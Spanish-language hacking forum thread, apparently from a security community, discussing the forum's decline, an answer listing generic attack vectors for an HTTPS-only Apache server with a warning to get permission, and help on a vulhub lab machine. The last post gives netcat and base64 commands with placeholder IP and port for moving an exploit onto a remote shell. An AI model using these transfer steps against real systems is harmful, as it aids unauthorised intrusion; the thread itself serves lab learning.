Yo como ya dije en otro hilo, me apunto a colaborar en segun que cosas. Nuevas revistas, blogs, crear ctfs y similares me apuntaría. Pero tiene que haber una masa de gente dispuesta y que haga las cosas y que se empiece con algo liviano y  se vaya viendo que tal.

De nada para eso estamos.
un abrazo.

Hombre todos los foros no están muertos ni mucho menos. Lo de compartir conocimiento, pues no se, a mi me parece que es algo que puede hacer que exista otra gente que tire para alante y que puedan expandir ese conocimiento, después ellos colaboren también en la comunidad y que todos nos beneficiemos de ese nuevo conocimiento. Al final entre todos podemos hacer más cosas que de forma individual.
Pero vamos, que ese sentimiento de que se aporta y cae en terreno arido, creo que es compartido por muchos. ^^

Pues igual es cuestion de buscar sangre nueva. Volver a los inicios y generar algun curso de hacking básico nuevo para tener entrada de gente que pregunte sobre el curso, las prácticas, etc...

Se podría plantear que cada mes generar algo parecido a la revista con cosas básicas con prácticas y volver al formato actividades y prácticas. Eso es lo que dio a hackxcrack la fama.

Hola,

Soy ingeniero de telecomunicaciones, y me estoy metiendo en el mundillo de la seguridad y el cracking web. El caso es que estoy intentando crackear
una web en la que el unico puerto abierto es el "443/tcp open  ssl/ssl Apache httpd (SSL-only mode)" y estoy un poco perdido. Es posible hackearlo?

Hola, soy repartidor de butano. Por la información que das es un servidor apache por lo que será un servidor web. Los fallos que puedes explotar con esa premisa (si es que los tiene) son fallos del sistema operativo a nivel de driver, si tiene puesto un firewall fallos del firewall, fallos del servidor apache, y fallos en los sistemas web programados probablemente en php, ya que se trata de un apache. Si el apache utiliza un sistema de almacenamiento de bases de datos tambien puedes intentar ataques a la base de datos.
A partir de ahi a aprender. Que tengas esos vectores de posible ataque no quiere decir que sea vulnerable si no que si hay algo mal configurado o programado y los fallos lo permiten podrás hacer algo. Bueno y si tienes
acceso físico al servidor tambien tienes ese vector de ataque.

Contestar a si es posible hackearlo pues dependerá. La información que das es tan genérica como decir, hay una caja fuerte y tiene una puerta ¿Es posible entrar en ella? bueno pues depende...

modo paternalista on...

Por otro lado, mas te vale que el sistema al que quieres entrar sea tuyo o te hayan dado permiso. Si no, despues vienen los lloros. Por norma aqui cuando se hacen esas preguntas se da por supuesto que
el sistema es tuyo o tienes permisos tenlo en cuenta, porque las técnicas que te podrán decir puede que ayuden a verificar la seguridad, serán tecnicas de pentesting que no van en la dieccion de hacer cosas ilegales.
Por analogía, te pueden decir que tires un ladrillo a la ventana de una tienda para llevarte algo de dentro, pero evidentemente si no tienes permiso del dueño de la tienda o la tienda no es tuya no es muy
buena idea aunque sea una forma sencilla de llevarte lo que deseas de la tienda.

modo paternalista off...

¿Sabes algo de servidores, de Linux (porque no se sabe que SO es el servidor, teniendo un apache por estadística probablemente sea un linux) y de programación de servidores?
¿Que hay en el puerto?¿Hay una aplicacion web?¿En que está programado? ¿Tiene sistema de login? ¿Cual es el sistema operativo del servidor físico? ¿Cuales son las versiones de los servidores, apache en este caso?
A partir de contestar a estas preguntas igual se te puede orientar.

un saludo.

Deja el link de la iso de vulhub y si tiene tiempo alguien igual se la mira y te puede ayudar.

en el momento de ejecutar me indica Invalid argument. ¿Alguna idea?

¿Has probado a compilar el exploit de forma estática?

Buenas, podrías darme alguna pista de como copiaste el exploit, me he quedado en paso de tener una shell remota.

Para copiar un archivo de remoto a local tienes muchas opciones, desde un wget como te comentan, un scp si tiene instalado, utilizando netcat y una redireccion (ejecutas en tu equipo: nc -l -p PUERTO < archivo.exe y en el otro: nc TUIP PUERTO > archivo.exe). Puedes tambien abrir una consola ejecutar "cat archivo.exe | base64" y copiar y pegar de la consola para luego en la máquina remota donde tienes  que poner "echo 'TEXTOCOPIADO' | base64 -d". Hay más opciones, pero estas son unas cuantas.